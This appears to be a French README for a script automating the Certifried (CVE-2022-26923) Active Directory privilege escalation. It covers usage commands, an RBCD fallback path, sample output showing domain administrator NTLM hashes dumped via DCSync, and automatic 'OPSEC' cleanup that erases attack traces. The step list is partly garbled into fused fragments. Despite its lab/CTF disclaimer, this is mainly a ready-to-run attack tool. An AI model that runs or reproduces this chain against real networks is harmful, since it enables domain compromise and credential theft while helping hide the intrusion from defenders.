
Exploitation automatisée de CVE-2022-26923 (Certifried)
Exploitation automatisée de CVE-2022-26923 (Certifried), permettant une élévation de privilèges via l'abus des services de certificats Active Directory (AD CS), avec un repli automatique vers la délégation contrainte basée sur les ressources (RBCD), aboutissant à l'extraction du hash NTLM d'un compte administrateur de domaine.
⚠️ À des fins éducatives uniquement / Lab / CTF
Ne pas utiliser dans des environnements non autorisés.
Ce script automatise la chaîne d'attaque suivante :
dNSHostName pour qu'il corresponde au contrôleur de domainesecretsdump.py en utilisant le hash du DCbloodyADimpacket-addspngetST.pysecretsdump.py en utilisant le ticket KerberosdNSHostName, ce qui amène l'AC à délivrer un certificat pour le compte du DC| Outil | Rôle |
|---|---|
certipy-ad | Création/mise à jour de compte, demande de certificat, authentification PKINIT |
bloodyAD | Manipulation des attributs RBCD (repli) |
impacket-addspn | Ajout de SPN sur le compte machine (repli) |
impacket-getST | Demande de ticket S4U2Self + S4U2Proxy (repli) |
impacket-secretsdump | DCSync / extraction de hash NTLM |
openssl | Conversion PFX → PEM (repli) |
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Astuce : Avant l'exécution, identifiez le nom exact de l'AC et le modèle à l'aide de :
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutMettez ensuite à jour
CA_NAMEetTEMPLATEdans les valeurs par défaut du script en conséquence.
Selon l'environnement, l'une des deux voies aboutira :
Méthode 1 (Classique) :
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Méthode 2 (Repli RBCD) :
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
Le nettoyage OPSEC s'exécute automatiquement à la fin (ou sur Ctrl+C) :
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
| Symptôme | Cause | Solution |
|---|---|---|
NETBIOS connection timed out | Latence RPC d'AD CS sur HTB | Géré automatiquement (5 nouvelles tentatives) |
KDC_ERR_BADOPTION lors de getST | SPN manquant sur COMP$ | Le script utilise désormais impacket-addspn avant getST |
KDC_ERR_WRONG_REALM lors de secretsdump | SPN incorrect (LDAP vs cifs) | Le script utilise le SPN cifs/ pour getST |
Clock skew too great | Dérive temporelle Kerberos | Exécutez sudo ntpdate <DC_IP> avant de lancer le script |
| La suppression du compte machine échoue | Droits AD insuffisants (normal) | Le script l'ignore sans erreur avec ` |
unrecognized arguments avec certipy-ad | Syntaxe incorrecte (ancien format certipy) | Le script utilise les options explicites -u/-p/-target-ip |
Ce projet est fourni pour :
L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou illégale de cet outil.